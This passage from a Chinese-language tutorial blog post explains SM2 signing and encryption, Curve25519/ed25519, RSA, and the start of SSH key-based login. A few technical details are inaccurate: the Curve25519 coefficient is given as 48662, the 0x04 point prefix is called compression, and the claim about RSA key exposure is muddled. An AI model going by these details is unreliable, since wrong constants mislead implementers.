注意这个值其实就是&lt;code&gt;p-3&lt;&#x2F;code&gt;，即&lt;code&gt;a = p-3&lt;&#x2F;code&gt;。
将&lt;code&gt;a = p-3&lt;&#x2F;code&gt;带入对&lt;code&gt;P&lt;&#x2F;code&gt;求模运算的公式: &lt;code&gt;y^2 ≡ x^3 + ax + b (mod p)&lt;&#x2F;code&gt;，可以得到一个更简单的方程式，计算过程如下:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;x^3 + ax + b (mod p)
=(x^3 + ax + b) % p
=(x^3 + (p-3)x + b) % p
=(x^3 + px-3x + b) % p
=(x^3 %p + px %p -3x %p + b%p) % p            &amp;#x2F;&amp;#x2F; 此处遵循模运算分配率: (a+b)%p=(a%p+b%p)%p
=(x^3 %p + (p%p * x%p) %p -3x %p + b%p) % p   &amp;#x2F;&amp;#x2F; 此处遵循模运算分配率: (a*b)%p=(a%p * b%p)%p
=(x^3 %p -3x %p + b%p) % p                    &amp;#x2F;&amp;#x2F; 对自己求余结果是0, 0对任何数求余也还是0, 故 p%p =0, 故 (p%p * x%p) %p = 0
=(x^3 - 3x + b) % p                           &amp;#x2F;&amp;#x2F; 逆用分配率
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;即最终求模后的方程可以变为:
&lt;code&gt;y^2 ≡ x^3 - 3x + b (mod p) &lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;SM2的公私钥生成与其他ECC一样，这里不再赘述。以go为例，其公私钥的数据结构如下所示:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;&amp;#x2F;&amp;#x2F; 公钥结构
type PublicKey struct {
    elliptic.Curve &amp;#x2F;&amp;#x2F; 椭圆曲线
    X, Y *big.Int  &amp;#x2F;&amp;#x2F; 公钥座标
}
&amp;#x2F;&amp;#x2F; 私钥结构
type PrivateKey struct {
    PublicKey  &amp;#x2F;&amp;#x2F; 公钥
    D *big.Int &amp;#x2F;&amp;#x2F; 私钥，随机数d
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;公钥长度: 64Byte，即512位。x与y转为字节数组后，需要分别补充到32字节。
私钥长度: 32Byte，即256位。随机数转为字节数组后，需要补充到32字节。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;3-2-sm2shu-zi-qian-ming&quot;&gt;3.2 SM2数字签名&lt;&#x2F;h2&gt;
&lt;p&gt;SM2的数字签名算法与ECDSA并不相同，不仅仅是椭圆曲线参数不同，算法本身亦不相同。详细的算法请参考国标文件&lt;code&gt;GB&#x2F;T 32918.2-2016&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;SM2的签名算法也是在基于SM2曲线生成公私钥对之后，使用私钥签名，使用公钥验签。&lt;&#x2F;p&gt;
&lt;p&gt;前提:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;基于SM2生成公私钥对: 私钥&lt;code&gt;d&lt;&#x2F;code&gt;、公钥&lt;code&gt;H&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;注意，SM2并不要求一定要事先对签名内容做散列摘要，因为SM2算法内部已经设计了散列过程。当然事先做一下也没问题。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;SM2签名过程(私钥签名):&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;ZA运算，通过公式&lt;code&gt;SM3(ENTLA || IDA || a || b || xG || yG || xA || yA)&lt;&#x2F;code&gt;计算ZA, ZA是一个散列用的盐值，该盐值混入了一些曲线参数(a,b,xG,yG)以及公钥的座标(xA,yA)，&lt;code&gt;IDA&lt;&#x2F;code&gt;是用户唯一标识，&lt;code&gt;ENTLA&lt;&#x2F;code&gt;是IDA的比特位数转换而来的两个字节。&lt;&#x2F;li&gt;
&lt;li&gt;对签名内容进行&lt;code&gt;SM3(ZA || M)&lt;&#x2F;code&gt;摘要计算(混入ZA)，&lt;code&gt;M&lt;&#x2F;code&gt;是签名内容，然后将摘要转换为数字&lt;code&gt;e&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;生成随机数&lt;code&gt;k&lt;&#x2F;code&gt;，位于&lt;code&gt;[1,n-1]&lt;&#x2F;code&gt;区间，&lt;code&gt;n&lt;&#x2F;code&gt;是子群的阶，随机数算法建议使用&lt;code&gt;CSPRNG&lt;&#x2F;code&gt;，注意这里的&lt;code&gt;k&lt;&#x2F;code&gt;不是私钥。。&lt;&#x2F;li&gt;
&lt;li&gt;计算 &lt;code&gt;P = k*G&lt;&#x2F;code&gt; ，得到曲线上另一个点&lt;code&gt;P&lt;&#x2F;code&gt;，&lt;code&gt;G&lt;&#x2F;code&gt;是基点，注意&lt;code&gt;P&lt;&#x2F;code&gt;不是公钥。&lt;&#x2F;li&gt;
&lt;li&gt;计算 &lt;code&gt;r = (e + P(x)) mod n&lt;&#x2F;code&gt;, &lt;code&gt;P(x)&lt;&#x2F;code&gt;是&lt;code&gt;P&lt;&#x2F;code&gt;的x轴坐标。&lt;&#x2F;li&gt;
&lt;li&gt;计算 &lt;code&gt;s = (((1 + d)^-1) (k-rd)) mod n&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;(r,s)&lt;&#x2F;code&gt;就是签名。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;最大签名数据量长度无限制，签名结果为64字节&lt;code&gt;(r + s)&lt;&#x2F;code&gt;，但由于签名后会做&lt;code&gt;ASN.1&lt;&#x2F;code&gt;编码，实际输出长度为70-72字节。&lt;&#x2F;p&gt;
&lt;p&gt;SM2验签过程(公钥验签):&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;ZA运算，&lt;code&gt;SM3(ENTLA || IDA || a || b || xG || yG || xA || yA)&lt;&#x2F;code&gt;，与签名时相同。&lt;&#x2F;li&gt;
&lt;li&gt;对签名内容进行&lt;code&gt;SM3&lt;&#x2F;code&gt;摘要计算(混入ZA)，并根据摘要值得到数字&lt;code&gt;e&lt;&#x2F;code&gt;，与签名时相同。&lt;&#x2F;li&gt;
&lt;li&gt;计算 &lt;code&gt;t = (r + s) mod n&lt;&#x2F;code&gt;，根据签名结果计算中间结果&lt;code&gt;t&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;计算 &lt;code&gt;P = s*G + t*H&lt;&#x2F;code&gt;，根据公钥&lt;code&gt;H&lt;&#x2F;code&gt;，以及签名结果&lt;code&gt;s&lt;&#x2F;code&gt;，以及中间计算结果&lt;code&gt;t&lt;&#x2F;code&gt;计算&lt;code&gt;P&lt;&#x2F;code&gt;点坐标。&lt;&#x2F;li&gt;
&lt;li&gt;计算 &lt;code&gt;R = (e + P(x)) mod n&lt;&#x2F;code&gt;，根据&lt;code&gt;P(x)&lt;&#x2F;code&gt;与&lt;code&gt;e&lt;&#x2F;code&gt;计算新的&lt;code&gt;R&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;判断 &lt;code&gt;R == r&lt;&#x2F;code&gt;，比较新计算出的&lt;code&gt;R&lt;&#x2F;code&gt;是否与签名结果&lt;code&gt;r&lt;&#x2F;code&gt;相同。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;与&lt;code&gt;ECDSA&lt;&#x2F;code&gt;相比，&lt;code&gt;SM2&lt;&#x2F;code&gt;的签名算法有以下不同:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;曲线不同。&lt;code&gt;ECDSA&lt;&#x2F;code&gt;一般使用NIST曲线，支持多种曲线如&lt;code&gt;P256&lt;&#x2F;code&gt;、&lt;code&gt;P521&lt;&#x2F;code&gt;等等，而&lt;code&gt;SM2&lt;&#x2F;code&gt;使用的是&lt;code&gt;SM2-P-256&lt;&#x2F;code&gt;曲线。&lt;&#x2F;li&gt;
&lt;li&gt;签名内容是否需要事先散列的要求不同。&lt;code&gt;ECDSA&lt;&#x2F;code&gt;需要事先对签名内容做散列，而&lt;code&gt;SM2&lt;&#x2F;code&gt;则没有该要求，并在算法内部提供了对签名内容的加盐散列。&lt;&#x2F;li&gt;
&lt;li&gt;签名与验签的计算公式不同，包括签名时&lt;code&gt;r&lt;&#x2F;code&gt;与&lt;code&gt;s&lt;&#x2F;code&gt;的计算公式以及验签时相关值的计算公式。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;3-3-sm2mi-yao-jiao-huan&quot;&gt;3.3 SM2密钥交换&lt;&#x2F;h2&gt;
&lt;p&gt;SM2的密钥交换算法与&lt;code&gt;ECDH&lt;&#x2F;code&gt;的基本过程是一样的，但是相关计算公式更加复杂。详细的算法请参考国标文件&lt;code&gt;GB&#x2F;T 32918.3-2016&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;SM2的密钥交换主要是在拿到对方的公钥后，并不是简单的用打点运算得到新的密钥，而是通过一系列设计好的数学公式，KDF密钥派生等操作来协商出新密钥。&lt;&#x2F;p&gt;
&lt;p&gt;具体的计算公式比较复杂，这里偷个懒，不记笔记了。。。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-4-sm2gong-yao-jia-mi&quot;&gt;3.4 SM2公钥加密&lt;&#x2F;h2&gt;
&lt;p&gt;与前面介绍的一般的ECC不同，SM2除了签名与密钥交换，还提供了公钥加密算法，即非对称加密算法。详细的算法请参考国标文件&lt;code&gt;GB&#x2F;T 32918.4-2016&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;SM2加密过程(公钥加密):&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;获取随机数k，位于&lt;code&gt;[1,n-1]&lt;&#x2F;code&gt;区间，&lt;code&gt;n&lt;&#x2F;code&gt;是子群的阶，随机数算法建议使用&lt;code&gt;CSPRNG&lt;&#x2F;code&gt;，注意这里的&lt;code&gt;k&lt;&#x2F;code&gt;不是私钥。&lt;&#x2F;li&gt;
&lt;li&gt;计算点&lt;code&gt;C1 = k*G&lt;&#x2F;code&gt; ，因为k是随机数，所以C1每次加密都是随机的, C1的目的是将随机数k隐藏在其中，其他人截获了C1并不能根据G倒推出k。&lt;&#x2F;li&gt;
&lt;li&gt;计算点&lt;code&gt;P(x2,y2) = k*H&lt;&#x2F;code&gt;, 对公钥&lt;code&gt;H&lt;&#x2F;code&gt;做k此打点，得到新的点&lt;code&gt;P&lt;&#x2F;code&gt;。P是实际加密需要使用的一个参数，可以认为是预密钥，P在解密时可以根据&lt;code&gt;C1*私钥d&lt;&#x2F;code&gt;得到。&lt;&#x2F;li&gt;
&lt;li&gt;计算C3 : 按 &lt;code&gt;x2+data(明文)+y2&lt;&#x2F;code&gt; 的顺序混合数据并做SM3摘要, C3是为了认证而做的加盐散列，盐值就是&lt;code&gt;P&lt;&#x2F;code&gt;，&lt;code&gt;x2&lt;&#x2F;code&gt;和&lt;code&gt;y2&lt;&#x2F;code&gt;是&lt;code&gt;P&lt;&#x2F;code&gt;的坐标。&lt;&#x2F;li&gt;
&lt;li&gt;使用密钥派生函数&lt;code&gt;kdf&lt;&#x2F;code&gt;，基于&lt;code&gt;P&lt;&#x2F;code&gt;计算长度等于data长度的派生密钥key。&lt;code&gt;kdf&lt;&#x2F;code&gt;是一个基于SM3的密钥派生函数。&lt;&#x2F;li&gt;
&lt;li&gt;计算C2，利用key对data进行异或运算，得到的密文即C2, 为什么是异或运算，因为用相同的值连续做两次异或运算就得到了原值，适合用来加解密。&lt;&#x2F;li&gt;
&lt;li&gt;根据模式&lt;code&gt;C1C3C2&lt;&#x2F;code&gt;或&lt;code&gt;C1C2C3&lt;&#x2F;code&gt;拼接最终的密文。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;模式：&lt;code&gt;C1C3C2&lt;&#x2F;code&gt; 与 &lt;code&gt;C1C2C3&lt;&#x2F;code&gt; 只是拼接顺序不同，具体&lt;code&gt;C1&lt;&#x2F;code&gt;、&lt;code&gt;C2&lt;&#x2F;code&gt;、&lt;code&gt;C3&lt;&#x2F;code&gt;的内容是一样的。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C1&lt;&#x2F;code&gt;: sm2椭圆曲线上的某个点，每次加密得到的点不一样，x和y座标轴各转为32个字节，因此C1长度为64字节。有时要对C1坐标值做压缩，此时会在C1前面加一个标识用字节，值固定为&lt;code&gt;0x04&lt;&#x2F;code&gt;，此时C1长度变为65个字节。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;C2&lt;&#x2F;code&gt;: 密文，根据公钥随机打点得到随机点P，再根据P通过密钥派生函数&lt;code&gt;kdf&lt;&#x2F;code&gt;计算一个与明文字节流等长的密钥&lt;code&gt;ct&lt;&#x2F;code&gt;，使用该&lt;code&gt;ct&lt;&#x2F;code&gt;与明文进行&lt;code&gt;异或&lt;&#x2F;code&gt;加密运算得到的密文。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;C3&lt;&#x2F;code&gt;: 随机点P与明文混合后的sm3摘要，混合顺序：&lt;code&gt;Px+data+Py&lt;&#x2F;code&gt;，长度为32字节。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;支持明文最大近128G字节，加密结果在明文字节数的基础上，增加了96字节(C1:64字节, C3:32字节)，如果首个字节为&lt;code&gt;0x04&lt;&#x2F;code&gt;则增加97字节，实际有效96字节。&lt;&#x2F;p&gt;
&lt;p&gt;SM2解密过程(私钥解密):&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;取出C1&lt;&#x2F;li&gt;
&lt;li&gt;根据C1计算 &lt;code&gt;P = d*C1&lt;&#x2F;code&gt;, 这里计算出来的P就是加密时计算的P，因为 &lt;code&gt;P=d*C1=d*k*G=d*G*k=H*k&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;使用密钥派生函数&lt;code&gt;kdf&lt;&#x2F;code&gt;，基于P计算派生密钥key&lt;&#x2F;li&gt;
&lt;li&gt;使用派生密钥key对C2部分做异或计算解密得到明文&lt;&#x2F;li&gt;
&lt;li&gt;重新混合明文并计算摘要，与C3进行比较&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;si-curve25519xiang-guan-suan-fa&quot;&gt;四、Curve25519相关算法&lt;&#x2F;h2&gt;
&lt;p&gt;前面说过，椭圆曲线不仅仅只有维尔斯特拉斯标准形式，还有蒙哥马利曲线(&lt;code&gt;Montgomery Curve&lt;&#x2F;code&gt;)、扭曲爱德华曲线(&lt;code&gt;Twisted Edwards Curve&lt;&#x2F;code&gt;)等。其中，蒙哥马利曲线和扭曲爱德华曲线可以相互等价转换。由于NIST曲线的后门问题，越来越多的语言与开源社区开始推广使用蒙哥马利曲线&lt;code&gt;Curve25519&lt;&#x2F;code&gt;的相关算法：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;x25519&lt;&#x2F;code&gt;密钥交换算法 : 过程与&lt;code&gt;ECDH&lt;&#x2F;code&gt;基本相同，但曲线改为&lt;code&gt;Curve25519&lt;&#x2F;code&gt;曲线。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ed25519&lt;&#x2F;code&gt;数字签名算法 : 使用&lt;code&gt;EdDSA&lt;&#x2F;code&gt;签名算法，曲线使用从&lt;code&gt;Curve25519&lt;&#x2F;code&gt;等价变换来的扭曲爱德华曲线&lt;code&gt;Edwards25519&lt;&#x2F;code&gt;，散列使用&lt;code&gt;SHA-512&lt;&#x2F;code&gt;算法。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;除了&lt;code&gt;Curve25519&lt;&#x2F;code&gt;，还有在安全性上更好但性能上更慢的&lt;code&gt;Curve448&lt;&#x2F;code&gt;曲线，这里就不关注了。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;4-1-x25519mi-yao-jiao-huan-suan-fa&quot;&gt;4.1 x25519密钥交换算法&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;x25519&lt;&#x2F;code&gt;是一种密钥交换算法，算法就是&lt;code&gt;ECDH&lt;&#x2F;code&gt;，但其椭圆曲线使用&lt;code&gt;Curve25519&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;Curve25519&lt;&#x2F;code&gt;椭圆曲线方程为：&lt;code&gt;y^2 = x^3 + 48662 x^2 + x&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;x25519&lt;&#x2F;code&gt;生成公私钥的算法与ECC一样，交换密钥算法过程与&lt;code&gt;ECDH&lt;&#x2F;code&gt;相同，不再赘述。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-2-ed25519shu-zi-qian-ming-suan-fa&quot;&gt;4.2 ed25519数字签名算法&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;ed25519&lt;&#x2F;code&gt;是一种数字签名算法，其曲线、公私钥生成、数字签名算法都与前面学习的ECC相关算法不同。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ed25519&lt;&#x2F;code&gt;使用的椭圆曲线是&lt;code&gt;Edwards25519&lt;&#x2F;code&gt;，一种从&lt;code&gt;Curve25519&lt;&#x2F;code&gt;等价变换来的扭曲爱德华曲线: &lt;code&gt;-x^2 + y^2 = 1 - (121665&#x2F;121666) x^2 y^2&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ed25519&lt;&#x2F;code&gt;的公私钥生成与&lt;code&gt;ECC&lt;&#x2F;code&gt;并不完全一样，公钥并不是直接使用私钥打点计算得来。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ed25519&lt;&#x2F;code&gt;的数字签名算法采用的是&lt;code&gt;EdDSA&lt;&#x2F;code&gt;算法，与&lt;code&gt;ECDSA&lt;&#x2F;code&gt;并不相同。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;其数字签名算法过程大致如下:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;STEP1 生成公私钥&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;随机数发生器生成随机数&lt;code&gt;d&lt;&#x2F;code&gt;作为私钥。&lt;&#x2F;li&gt;
&lt;li&gt;计算私钥的摘要(使用&lt;code&gt;SHA-512&lt;&#x2F;code&gt;)，并通过一个数学公式进行运算，得到一个整数&lt;code&gt;a&lt;&#x2F;code&gt;和一个随机数&lt;code&gt;k&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;计算公钥:&lt;code&gt;Y = a * G&lt;&#x2F;code&gt;，&lt;code&gt;G&lt;&#x2F;code&gt;是曲线基点，&lt;code&gt;Y&lt;&#x2F;code&gt;是公钥。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;STEP2 签名&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;计算r : &lt;code&gt;r = H(k, M)&lt;&#x2F;code&gt;， &lt;code&gt;H&lt;&#x2F;code&gt;是散列算法&lt;code&gt;SHA-512&lt;&#x2F;code&gt;，&lt;code&gt;k&lt;&#x2F;code&gt;是生成公私钥时生成的随机数。&lt;&#x2F;li&gt;
&lt;li&gt;计算曲线上一个新的坐标点R : &lt;code&gt;R = r * G&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;计算s : &lt;code&gt;s = (r + H(R, Y, M)a) mod l&lt;&#x2F;code&gt;，&lt;code&gt;l&lt;&#x2F;code&gt;是一个质数，满足&lt;code&gt;l * G = 0&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;(R, s)就是签名。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;STEP3 验签&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;验证&lt;code&gt;s * G = R + H(R, Y, M)Y&lt;&#x2F;code&gt;是否成立即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-3-curve25519de-you-shi&quot;&gt;4.3 Curve25519的优势&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;Curve25519&lt;&#x2F;code&gt;相关算法具备以下优势:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;完全开放设计，算法各参数的选择直截了当，非常明确，没有任何可疑之处。相比之下目前广泛使用的NIST系列曲线，其方程参数是由来历不明的随机种子&lt;code&gt;c49d3608 86e70493 6a6678e1 139d26b7 819f7e90&lt;&#x2F;code&gt;生成的，至于这个种子的来历没有资料介绍。&lt;&#x2F;li&gt;
&lt;li&gt;安全性高，&lt;code&gt;25519&lt;&#x2F;code&gt;系列椭圆曲线经过特别设计，一般认为在安全性上比NIST系列曲线更高。&lt;&#x2F;li&gt;
&lt;li&gt;速度快，&lt;code&gt;25519&lt;&#x2F;code&gt;系列椭圆曲线算法的性能超过大部分NIST系列曲线。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;wu-rsajian-jie&quot;&gt;五、RSA简介&lt;&#x2F;h2&gt;
&lt;p&gt;RSA是一种目前仍在大量使用，但安全性遭到一定的质疑，正在被ECC慢慢取代的公钥密码系统。&lt;&#x2F;p&gt;
&lt;p&gt;它的数学理论是&lt;code&gt;大整数因数分解难题&lt;&#x2F;code&gt;，其生成公私钥的过程简单描述如下:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;随机选择两个不相等的质数&lt;code&gt;p&lt;&#x2F;code&gt;和&lt;code&gt;q&lt;&#x2F;code&gt;。这两个质数越大，RSA就越难破解。&lt;&#x2F;li&gt;
&lt;li&gt;计算&lt;code&gt;p&lt;&#x2F;code&gt;和&lt;code&gt;q&lt;&#x2F;code&gt;的乘积&lt;code&gt;n&lt;&#x2F;code&gt;。n的二进制位数就是密钥长度，目前生产上满足安全要求的话，n需要达到2048位。&lt;&#x2F;li&gt;
&lt;li&gt;计算n的欧拉函数&lt;code&gt;φ(n)&lt;&#x2F;code&gt;。所谓欧拉函数就是计算这样一个问题的函数:&lt;code&gt;在小于等于n的正整数之中，有多少个与n构成互质关系&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;随机选择一个整数&lt;code&gt;e&lt;&#x2F;code&gt;，条件是&lt;code&gt;1&amp;lt; e &amp;lt; φ(n)&lt;&#x2F;code&gt;，且&lt;code&gt;e&lt;&#x2F;code&gt;与&lt;code&gt;φ(n)&lt;&#x2F;code&gt; 互质。实际应用中经常选择&lt;code&gt;65537&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;计算&lt;code&gt;e&lt;&#x2F;code&gt;对于&lt;code&gt;φ(n)&lt;&#x2F;code&gt;的模反元素&lt;code&gt;d&lt;&#x2F;code&gt;。所谓&lt;code&gt;模反元素&lt;&#x2F;code&gt;就是指有一个整数&lt;code&gt;d&lt;&#x2F;code&gt;，可以使得&lt;code&gt;ed&lt;&#x2F;code&gt;和&lt;code&gt;1&lt;&#x2F;code&gt;对&lt;code&gt;φ(n)&lt;&#x2F;code&gt;同余，即&lt;code&gt;ed ≡ 1 (mod φ(n))&lt;&#x2F;code&gt;，也即&lt;code&gt;ed&lt;&#x2F;code&gt;对&lt;code&gt;φ(n)&lt;&#x2F;code&gt;求余为&lt;code&gt;1&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;将&lt;code&gt;n&lt;&#x2F;code&gt;和&lt;code&gt;e&lt;&#x2F;code&gt;封装成公钥:&lt;code&gt;(n,e)&lt;&#x2F;code&gt;，&lt;code&gt;n&lt;&#x2F;code&gt;和&lt;code&gt;d&lt;&#x2F;code&gt;封装成私钥:&lt;code&gt;(n,d)&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;RSA与SM2一样，同时提供了签名、密钥交换与非对称加密算法。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;RSA非对称加密很简单。使用公钥加密:&lt;code&gt;m^e ≡ c (mod n)&lt;&#x2F;code&gt;，m是明文，&lt;code&gt;n&lt;&#x2F;code&gt;和&lt;code&gt;e&lt;&#x2F;code&gt;是公钥，&lt;code&gt;c&lt;&#x2F;code&gt;是加密后的密文。解密则是&lt;code&gt;c^d ≡ m (mod n)&lt;&#x2F;code&gt;，&lt;code&gt;d&lt;&#x2F;code&gt;和&lt;code&gt;n&lt;&#x2F;code&gt;是私钥。&lt;&#x2F;li&gt;
&lt;li&gt;RSA签名更简单。就是对明文做散列计算得到摘要后，用私钥加密摘要(就是RSA非对称加密的加密公式)得到签名。验签时用公钥解密得到摘要与明文摘要值比对。&lt;&#x2F;li&gt;
&lt;li&gt;RSA密钥交换还是很简单。比如通信双方是A与B，A将自己的RSA公钥发给B，B生成一个伪随机数作为密钥，用A的公钥加密，再发给A，A再用自己的私钥解密，得到客户端生成的密钥。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;注意，RSA的公私钥貌似可以互换使用，但在实际中不可以这样做。因为RSA的公钥&lt;code&gt;e&lt;&#x2F;code&gt;和私钥&lt;code&gt;d&lt;&#x2F;code&gt;的密码学安全性是不一样的，暴露&lt;code&gt;e&lt;&#x2F;code&gt;，很难破解出&lt;code&gt;d&lt;&#x2F;code&gt;，但暴露&lt;code&gt;d&lt;&#x2F;code&gt;出去，则&lt;code&gt;e&lt;&#x2F;code&gt;相对容易被破解。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;不论RSA还是ECC，如果是非对称加密，一定是公钥加密，私钥解密；如果是签名，一定是私钥签名，公钥验签。这是由加密和签名的不同的需求决定的。
公钥是公开的，所有人都可以拿到，而私钥是只有自己才能持有的，不可泄露。
非对称加密场景，某人发消息给B，某人要确保这个消息只有B能解密，因此必须用B的公钥加密，这样就只有B的私钥持有者(即B自己)才能解密看到消息。
签名场景，A发消息给别人，别人收到消息时需要确保这个消息是A发来的，因此A需要使用自己的私钥对消息进行签名，这样别人收到消息时可以用A的公钥来验签，确保这个消息确实是A发送的。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;RSA的非对称加密与签名，只要密钥长度足够(2048位以上)，那么目前仍然认为它是安全的。但RSA的密钥交换算法则被认为不够安全，比如&lt;code&gt;tls1.3&lt;&#x2F;code&gt;协议中，就已经废弃了对RSA密钥交换算法的支持，改为使用&lt;code&gt;ECDHE&lt;&#x2F;code&gt;密钥交换算法。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;liu-sshmi-yao-deng-lu&quot;&gt;六、SSH密钥登陆&lt;&#x2F;h2&gt;
&lt;p&gt;公钥密码学有很多使用场景，这里我们先看一个简单的应用: ssh的密钥登陆，或者说免密登录，这里的&lt;code&gt;免密&lt;&#x2F;code&gt;是指不用输入账户密码。&lt;&#x2F;p&gt;
&lt;p&gt;对于一个linux服务器运维人员来说，使用ssh客户端工具连接linux服务器是日常操作。有时运维人员会将目标服务器的账户密码保存在ssh客户端工具，避免每次ssh连接是都要输入用户和密码。但更方便也更安全的做法是，不使用账户密码登陆，而是利用公钥密码系统的数字签名算法实现SSH免密登陆。&lt;&#x2F;p&gt;
&lt;p&gt;使用流程如下:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;在客户端生成一套公私钥，比如使用&lt;code&gt;ssh-keygen&lt;&#x2F;code&gt;工具生成一对ed25519的公私钥: &lt;code&gt;ssh-keygen -t ed25519&lt;&#x2F;code&gt;，命令过程中一路回车即可，结果可以在&lt;code&gt;~&#x2F;.ssh&lt;&#x2F;code&gt;中看到ed25519的私钥文件&lt;code&gt;id_ed25519&lt;&#x2F;code&gt;和公钥文件&lt;code&gt;id_ed25519.pub&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;将公钥文件拷贝到目标Linux服务器，比如&lt;code&gt;ssh-copy-id -i ~&#x2F;.ssh&#x2F;id_ed25519.pub root@x.x.x.x&lt;&#x2F;code&gt;，该命令会将本地的公钥文件&lt;code&gt;id_ed25519.pub&lt;&#x2F;code&gt;的内容追加写入目标服务器的root用户根目录的&lt;code&gt;~&#x2F;.ssh&#x2F;authorized_keys&lt;&#x2F;code&gt;文件，该文件是可信任列表，存放所有可信任的客户端公钥。&lt;&#x2F;li&gt;
&lt;li&gt;此时从客户端就可以直接ssh免密登陆目标Linux服务器: &lt;code&gt;ssh root@x.x.x.x&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;上述流程生成公私钥使用的是&lt;code&gt;ed25519&lt;&#x2F;code&gt;，也可以使用&lt;code&gt;rsa&lt;&#x2F;code&gt;，或&lt;code&gt;ecdsa&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;ssh的密钥登陆的认证流程则如下:&lt;&#x2F;p&gt;
&lt;ol&gt;
